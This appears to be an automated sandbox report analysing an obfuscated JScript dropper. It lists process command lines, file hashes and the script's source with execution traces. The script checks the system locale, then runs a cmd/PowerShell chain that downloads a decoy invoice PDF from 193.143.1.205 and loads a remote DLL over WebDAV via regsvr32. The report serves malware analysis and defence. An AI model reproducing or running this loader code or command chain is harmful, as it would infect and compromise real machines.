Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16717), with CRLF line terminators
Entropy (8bit):	4.88216326441428
TrID:
File name:	1573099322476027960.js
File size:	20'164 bytes
MD5:	b4e66e59c1bca737ef753fb60c0a0897
SHA1:	99472ef70e2dd79299819345ff49bbcf331b771b
SHA256:	bad7fe8b71e447aea8c36c6fdc379dfce6ee7e1d531264682fec7e214a0bcf01
SHA512:	9b8d41b99c6e9b901c2ee997254545965f40e326a9c7462aff90402ab7f93b9ed8c236741c2c5217a68da2a12b83206cfddd99e4ef7d3800fc30b5d18ae26bfa
SSDEEP:	192:z6Ij/ztb04oHTHZT1i4Rvc0uwr4ivXEn9ZJaAH9qGat8HOdy5EpExRK9W:mIj/SjTHZHv9JXMzH9PDn5ECzK9W
TLSH:	169265C600E2A9754EF1A6B8032F08EB16C8071946FE06DE9C2B1CEE419ED76B5DD177
File Content Preview:	function zkafhqp(){cqsekyrf=[1031,3079,5127,4103,2055,3072];var sdkqezpi=this[vftmf+qnouzth+oxpfait+tzaoozcev+lskamsxe+gdubkc+ajliwreh+wekln](this[mkjxxw+tucmxpt+cuyphq+oxpfait+lqoto+vftmf+wekln][yfzmunr+oxpfait+lskamsxe+qnouzth+wekln+lskamsxe+dgdzecvp+xm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	18:04:11
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js"
Imagebase:	0x7ff789860000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	18:04:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll
Imagebase:	0x7ff7e70b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:04:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:04:11
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:04:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	18:04:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7e70b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:04:16
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6df770000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:04:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	18:04:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	18:04:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1624,i,11398897442534394680,7804763110970859157,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function zkafhqp() {	zkafhqp() ➔ undefined
1	cqsekyrf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var sdkqezpi = this[vftmf + qnouzth + oxpfait + tzaoozcev + lskamsxe + gdubkc + ajliwreh + wekln] ( this[mkjxxw + tucmxpt + cuyphq + oxpfait + lqoto + vftmf + wekln][yfzmunr + oxpfait + lskamsxe + qnouzth + wekln + lskamsxe + dgdzecvp + xmffcv + riqbspetm + lskamsxe + cuyphq + wekln] ( mkjxxw + tucmxpt + cuyphq + oxpfait + lqoto + vftmf + wekln + wacsgtk + tucmxpt + elaejvbmy + lskamsxe + fzwoetck + fzwoetck ) [gnekkdmx + lskamsxe + tbledj + gnekkdmx + lskamsxe + qnouzth + edyajf] ( wrswkxoj + xooxc + cisodr + mpjpcsj + wavtbjz + yfzmunr + idnzy + gnekkdmx + gnekkdmx + cisodr + mulvx + hvcwyb + wavtbjz + idnzy + tucmxpt + cisodr + gnekkdmx + kqimjudhx + yfzmunr + pbocvqmx + ajliwreh + wekln + oxpfait + pbocvqmx + fzwoetck + eccec + qqqxcfe + qnouzth + ajliwreh + lskamsxe + fzwoetck + kqimjudhx + gdubkc + ajliwreh + wekln + lskamsxe + oxpfait + ajliwreh + qnouzth + wekln + lqoto + pbocvqmx + ajliwreh + qnouzth + fzwoetck + kqimjudhx + ajekhwwl + pbocvqmx + cuyphq + qnouzth + fzwoetck + lskamsxe ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( queofx = 0 ; queofx < cqsekyrf[fzwoetck + lskamsxe + ajliwreh + tbledj + wekln + elaejvbmy] ; ++ queofx )
4	{
5	if ( sdkqezpi == cqsekyrf[queofx] )
6	{
7	sdkqezpi = true;
8	break ;
9	}
10	}
11	if ( sdkqezpi !== true )
12	this[mkjxxw + tucmxpt + cuyphq + oxpfait + lqoto + vftmf + wekln][mpnhz + cgtkjaky + lqoto + wekln] ( );
13	this[mkjxxw + tucmxpt + cuyphq + oxpfait + lqoto + vftmf + wekln][yfzmunr + oxpfait + lskamsxe + qnouzth + wekln + lskamsxe + dgdzecvp + xmffcv + riqbspetm + lskamsxe + cuyphq + wekln] ( mkjxxw + tucmxpt + cuyphq + oxpfait + lqoto + vftmf + wekln + wacsgtk + tucmxpt + elaejvbmy + lskamsxe + fzwoetck + fzwoetck ) [oxpfait + cgtkjaky + ajliwreh] ( cuyphq + dtlxkugj + edyajf + eccec + aydoc + cuyphq + eccec + vftmf + pbocvqmx + fpacs + lskamsxe + oxpfait + tzaoozcev + elaejvbmy + lskamsxe + fzwoetck + fzwoetck + wacsgtk + lskamsxe + catfgq + lskamsxe + eccec + jeoxsajs + yfzmunr + pbocvqmx + dtlxkugj + dtlxkugj + qnouzth + ajliwreh + edyajf + eccec + zelmaqcxw + gdubkc + ajliwreh + neyclxt + pbocvqmx + upjesy + lskamsxe + jeoxsajs + mkjxxw + lskamsxe + xmffcv + gnekkdmx + lskamsxe + hjvvildc + cgtkjaky + lskamsxe + tzaoozcev + wekln + eccec + jeoxsajs + dgdzecvp + cgtkjaky + wekln + zaxlkw + lqoto + fzwoetck + lskamsxe + eccec + vmedwnlv + wekln + lskamsxe + dtlxkugj + vftmf + vmedwnlv + kqimjudhx + lqoto + ajliwreh + neyclxt + pbocvqmx + lqoto + cuyphq + lskamsxe + wacsgtk + vftmf + edyajf + czmcujtt + eccec + elaejvbmy + wekln + wekln + vftmf + wraougs + aydoc + aydoc + lbaczowe + fjwnjmwn + jbtlodmb + wacsgtk + lbaczowe + awlfcd + jbtlodmb + wacsgtk + lbaczowe + wacsgtk + fgewrfkn + wwxqsd + flhvv + aydoc + lqoto + ajliwreh + neyclxt + pbocvqmx + lqoto + cuyphq + lskamsxe + wacsgtk + vftmf + elaejvbmy + vftmf + zelmaqcxw + tixdxouom + tixdxouom + tzaoozcev + wekln + qnouzth + oxpfait + wekln + eccec + vmedwnlv + wekln + lskamsxe + dtlxkugj + vftmf + vmedwnlv + kqimjudhx + lqoto + ajliwreh + neyclxt + pbocvqmx + lqoto + cuyphq + lskamsxe + wacsgtk + vftmf + edyajf + czmcujtt + tixdxouom + tixdxouom + cuyphq + dtlxkugj + edyajf + eccec + aydoc + cuyphq + eccec + ajliwreh + lskamsxe + wekln + eccec + cgtkjaky + tzaoozcev + lskamsxe + eccec + kqimjudhx + kqimjudhx + lbaczowe + fjwnjmwn + jbtlodmb + wacsgtk + lbaczowe + awlfcd + jbtlodmb + wacsgtk + lbaczowe + wacsgtk + fgewrfkn + wwxqsd + flhvv + bcikmh + uvfjdff + uvfjdff + uvfjdff + uvfjdff + kqimjudhx + edyajf + qnouzth + neyclxt + fpacs + fpacs + fpacs + oxpfait + pbocvqmx + pbocvqmx + wekln + kqimjudhx + tixdxouom + tixdxouom + cuyphq + dtlxkugj + edyajf + eccec + aydoc + cuyphq + eccec + oxpfait + lskamsxe + tbledj + tzaoozcev + neyclxt + oxpfait + jbtlodmb + fgewrfkn + eccec + aydoc + tzaoozcev + eccec + kqimjudhx + kqimjudhx + lbaczowe + fjwnjmwn + jbtlodmb + wacsgtk + lbaczowe + awlfcd + jbtlodmb + wacsgtk + lbaczowe + wacsgtk + fgewrfkn + wwxqsd + flhvv + bcikmh + uvfjdff + uvfjdff + uvfjdff + uvfjdff + kqimjudhx + edyajf + qnouzth + neyclxt + fpacs + fpacs + fpacs + oxpfait + pbocvqmx + pbocvqmx + wekln + kqimjudhx + imkvo + fgewrfkn + kgdcb + imkvo + fjwnjmwn + awlfcd + fjwnjmwn + wwxqsd + lbaczowe + lbaczowe + lbaczowe + jbtlodmb + awlfcd + wacsgtk + edyajf + fzwoetck + fzwoetck, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll",0,false) ➔ 0
14	}
15	upjesy = "B";
16	upjesy = "I";
17	upjesy = "h";
18	upjesy = "k";
19	upjesy = "U";
20	upjesy = "P";
21	upjesy = "N";
22	upjesy = "f";
23	upjesy = "c";
24	upjesy = "g";
25	upjesy = "R";
26	upjesy = "R";
27	upjesy = "f";
28	upjesy = "C";
29	upjesy = "e";
30	upjesy = "O";
31	upjesy = "k";
32	lskamsxe = "X";
33	lskamsxe = "U";
34	lskamsxe = "m";
35	lskamsxe = "C";
36	lskamsxe = "h";
37	lskamsxe = "e";
38	lskamsxe = "z";
39	lskamsxe = "a";
40	lskamsxe = "b";
41	lskamsxe = "G";
42	lskamsxe = "G";
43	lskamsxe = "o";
44	lskamsxe = "w";
45	lskamsxe = "u";
46	lskamsxe = "Q";
47	lskamsxe = "D";
48	lskamsxe = "s";
49	lskamsxe = "e";
50	lskamsxe = "N";
51	lskamsxe = "m";
52	lskamsxe = "D";
53	lskamsxe = "e";
54	elaejvbmy = "q";
55	elaejvbmy = "q";
56	elaejvbmy = "D";
57	elaejvbmy = "h";
58	xmffcv = "b";
59	pbocvqmx = "n";
60	pbocvqmx = "u";
61	pbocvqmx = "F";
62	pbocvqmx = "n";
63	pbocvqmx = "G";
64	pbocvqmx = "E";
65	pbocvqmx = "N";
66	pbocvqmx = "N";
67	pbocvqmx = "t";
68	pbocvqmx = "q";
69	pbocvqmx = "r";
70	pbocvqmx = "b";
71	pbocvqmx = "l";
72	pbocvqmx = "o";
73	pbocvqmx = "C";
74	pbocvqmx = "X";
75	pbocvqmx = "a";
76	pbocvqmx = "i";
77	pbocvqmx = "N";
78	pbocvqmx = "x";
79	pbocvqmx = "E";
80	pbocvqmx = "u";
81	pbocvqmx = "L";
82	pbocvqmx = "C";
83	pbocvqmx = "D";
84	pbocvqmx = "j";
85	pbocvqmx = "A";
86	pbocvqmx = "L";
87	pbocvqmx = "F";
88	pbocvqmx = "W";
89	pbocvqmx = "l";
90	pbocvqmx = "b";
91	pbocvqmx = "o";
92	pbocvqmx = "e";
93	pbocvqmx = "K";
94	pbocvqmx = "e";
95	pbocvqmx = "B";
96	pbocvqmx = "W";
97	pbocvqmx = "n";
98	pbocvqmx = "l";
99	pbocvqmx = "L";
100	pbocvqmx = "c";
101	pbocvqmx = "o";
102	vmedwnlv = "h";
103	vmedwnlv = "i";
104	vmedwnlv = "h";
105	vmedwnlv = "U";
106	vmedwnlv = "k";
107	vmedwnlv = "N";
108	vmedwnlv = "P";
109	vmedwnlv = "L";
110	vmedwnlv = "b";
111	vmedwnlv = "t";
112	vmedwnlv = "k";
113	vmedwnlv = "k";
114	vmedwnlv = "e";
115	vmedwnlv = "Q";
116	vmedwnlv = "%";
117	dtlxkugj = "I";
118	dtlxkugj = "M";
119	dtlxkugj = "O";
120	dtlxkugj = "H";
121	dtlxkugj = "T";
122	dtlxkugj = "m";
123	awlfcd = "T";
124	awlfcd = "s";
125	awlfcd = "Z";
126	awlfcd = "o";
127	awlfcd = "B";
128	awlfcd = "L";
129	awlfcd = "n";
130	awlfcd = "z";
131	awlfcd = "M";
132	awlfcd = "y";
133	awlfcd = "C";
134	awlfcd = "O";
135	awlfcd = "u";
136	awlfcd = "4";
137	ajliwreh = "v";
138	ajliwreh = "j";
139	ajliwreh = "s";
140	ajliwreh = "c";
141	ajliwreh = "T";
142	ajliwreh = "n";
143	mpnhz = "E";
144	mpnhz = "S";
145	mpnhz = "n";
146	mpnhz = "T";
147	mpnhz = "I";
148	mpnhz = "M";
149	mpnhz = "q";
150	mpnhz = "n";
151	mpnhz = "H";
152	mpnhz = "Z";
153	mpnhz = "W";
154	mpnhz = "J";
155	mpnhz = "J";
156	mpnhz = "u";
157	mpnhz = "s";
158	mpnhz = "U";
159	mpnhz = "d";
160	mpnhz = "X";
161	mpnhz = "x";
162	mpnhz = "a";
163	mpnhz = "H";
164	mpnhz = "c";
165	mpnhz = "R";
166	mpnhz = "S";
167	mpnhz = "l";
168	mpnhz = "h";
169	mpnhz = "u";
170	mpnhz = "Q";
171	kgdcb = "l";
172	kgdcb = "T";
173	kgdcb = "Y";
174	kgdcb = "d";
175	kgdcb = "E";
176	kgdcb = "C";
177	kgdcb = "y";
178	kgdcb = "D";
179	kgdcb = "k";
180	kgdcb = "6";
181	idnzy = "f";
182	idnzy = "M";
183	idnzy = "s";
184	idnzy = "r";
185	idnzy = "H";
186	idnzy = "c";
187	idnzy = "U";
188	fgewrfkn = "y";
189	fgewrfkn = "a";
190	fgewrfkn = "t";
191	fgewrfkn = "c";
192	fgewrfkn = "N";
193	fgewrfkn = "o";
194	fgewrfkn = "q";
195	fgewrfkn = "2";
196	wwxqsd = "Q";
197	wwxqsd = "o";
198	wwxqsd = "w";
199	wwxqsd = "q";
200	wwxqsd = "s";
201	wwxqsd = "F";
202	wwxqsd = "a";
203	wwxqsd = "d";
204	wwxqsd = "d";
205	wwxqsd = "c";
206	wwxqsd = "y";
207	wwxqsd = "o";
208	wwxqsd = "f";
209	wwxqsd = "S";
210	wwxqsd = "0";
211	oxpfait = "h";
212	oxpfait = "q";
213	oxpfait = "C";
214	oxpfait = "I";
215	oxpfait = "C";
216	oxpfait = "r";
217	oxpfait = "j";
218	oxpfait = "O";
219	oxpfait = "u";
220	oxpfait = "T";
221	oxpfait = "r";
222	gdubkc = "C";
223	gdubkc = "n";
224	gdubkc = "H";
225	gdubkc = "V";
226	gdubkc = "o";
227	gdubkc = "S";
228	gdubkc = "T";
229	gdubkc = "w";
230	gdubkc = "I";
231	xooxc = "S";
232	xooxc = "i";
233	xooxc = "f";
234	xooxc = "I";
235	xooxc = "H";
236	xooxc = "O";
237	xooxc = "l";
238	xooxc = "h";
239	xooxc = "Y";
240	xooxc = "H";
241	xooxc = "s";
242	xooxc = "g";
243	xooxc = "N";
244	xooxc = "V";
245	xooxc = "o";
246	xooxc = "d";
247	xooxc = "p";
248	xooxc = "H";
249	xooxc = "J";
250	xooxc = "M";
251	xooxc = "E";
252	xooxc = "W";
253	xooxc = "d";
254	xooxc = "A";
255	xooxc = "o";
256	xooxc = "v";
257	xooxc = "b";
258	xooxc = "K";
259	jeoxsajs = "P";
260	jeoxsajs = "S";
261	jeoxsajs = "a";
262	jeoxsajs = "H";
263	jeoxsajs = "X";
264	jeoxsajs = "O";
265	jeoxsajs = "X";
266	jeoxsajs = "P";
267	jeoxsajs = "y";
268	jeoxsajs = "b";
269	jeoxsajs = "V";
270	jeoxsajs = "J";
271	jeoxsajs = "P";
272	jeoxsajs = "G";
273	jeoxsajs = "t";
274	jeoxsajs = "R";
275	jeoxsajs = "U";
276	jeoxsajs = "q";
277	jeoxsajs = "F";
278	jeoxsajs = "S";
279	jeoxsajs = "q";
280	jeoxsajs = "O";
281	jeoxsajs = "U";
282	jeoxsajs = "d";
283	jeoxsajs = "G";
284	jeoxsajs = "C";
285	jeoxsajs = "E";
286	jeoxsajs = "f";
287	jeoxsajs = "U";
288	jeoxsajs = "-";
289	wrswkxoj = "d";
290	wrswkxoj = "E";
291	wrswkxoj = "c";
292	wrswkxoj = "D";
293	wrswkxoj = "A";
294	wrswkxoj = "L";
295	wrswkxoj = "R";
296	wrswkxoj = "W";
297	wrswkxoj = "v";
298	wrswkxoj = "N";
299	wrswkxoj = "C";
300	wrswkxoj = "j";
301	wrswkxoj = "A";
302	wrswkxoj = "Y";
303	wrswkxoj = "f";
304	wrswkxoj = "G";
305	wrswkxoj = "Z";
306	wrswkxoj = "Q";
307	wrswkxoj = "M";
308	wrswkxoj = "M";
309	wrswkxoj = "E";
310	wrswkxoj = "O";
311	wrswkxoj = "C";
312	wrswkxoj = "s";
313	wrswkxoj = "f";
314	wrswkxoj = "w";
315	wrswkxoj = "q";
316	wrswkxoj = "T";
317	wrswkxoj = "X";
318	wrswkxoj = "H";
319	wrswkxoj = "c";
320	wrswkxoj = "g";
321	wrswkxoj = "T";
322	wrswkxoj = "a";
323	wrswkxoj = "H";
324	bcikmh = "Q";
325	bcikmh = "J";
326	bcikmh = "n";
327	bcikmh = "E";
328	bcikmh = "S";
329	bcikmh = "z";
330	bcikmh = "k";
331	bcikmh = "v";
332	bcikmh = "K";
333	bcikmh = "A";
334	bcikmh = "a";
335	bcikmh = "I";
336	bcikmh = "I";
337	bcikmh = "i";
338	bcikmh = "h";
339	bcikmh = "E";
340	bcikmh = "d";
341	bcikmh = "V";
342	bcikmh = "V";
343	bcikmh = "P";
344	bcikmh = "T";
345	bcikmh = "d";
346	bcikmh = "K";
347	bcikmh = "H";
348	bcikmh = "u";
349	bcikmh = "w";
350	bcikmh = "f";
351	bcikmh = "m";
352	bcikmh = "e";
353	bcikmh = "f";
354	bcikmh = "k";
355	bcikmh = "n";
356	bcikmh = "P";
357	bcikmh = "M";
358	bcikmh = "T";
359	bcikmh = "e";
360	bcikmh = "Q";
361	bcikmh = "x";
362	bcikmh = "C";
363	bcikmh = "h";
364	bcikmh = "G";
365	bcikmh = "e";
366	bcikmh = "@";
367	flhvv = "H";
368	flhvv = "U";
369	flhvv = "k";
370	flhvv = "S";
371	flhvv = "a";
372	flhvv = "I";
373	flhvv = "n";
374	flhvv = "C";
375	flhvv = "v";
376	flhvv = "I";
377	flhvv = "5";
378	catfgq = "T";
379	catfgq = "y";
380	catfgq = "W";
381	catfgq = "A";
382	catfgq = "A";
383	catfgq = "A";
384	catfgq = "V";
385	catfgq = "x";
386	catfgq = "C";
387	catfgq = "g";
388	catfgq = "a";
389	catfgq = "U";
390	catfgq = "n";
391	catfgq = "j";
392	catfgq = "a";
393	catfgq = "v";
394	catfgq = "O";
395	catfgq = "I";
396	catfgq = "F";
397	catfgq = "u";
398	catfgq = "T";
399	catfgq = "P";
400	catfgq = "x";
401	catfgq = "U";
402	catfgq = "W";
403	catfgq = "R";
404	catfgq = "K";
405	catfgq = "F";
406	catfgq = "d";
407	catfgq = "t";
408	catfgq = "q";
409	catfgq = "m";
410	catfgq = "P";
411	catfgq = "x";
412	tbledj = "k";
413	tbledj = "T";
414	tbledj = "V";
415	tbledj = "l";
416	tbledj = "j";
417	tbledj = "u";
418	tbledj = "q";
419	tbledj = "c";
420	tbledj = "b";
421	tbledj = "k";
422	tbledj = "w";
423	tbledj = "G";
424	tbledj = "u";
425	tbledj = "Z";
426	tbledj = "j";
427	tbledj = "y";
428	tbledj = "i";
429	tbledj = "F";
430	tbledj = "U";
431	tbledj = "C";
432	tbledj = "T";
433	tbledj = "S";
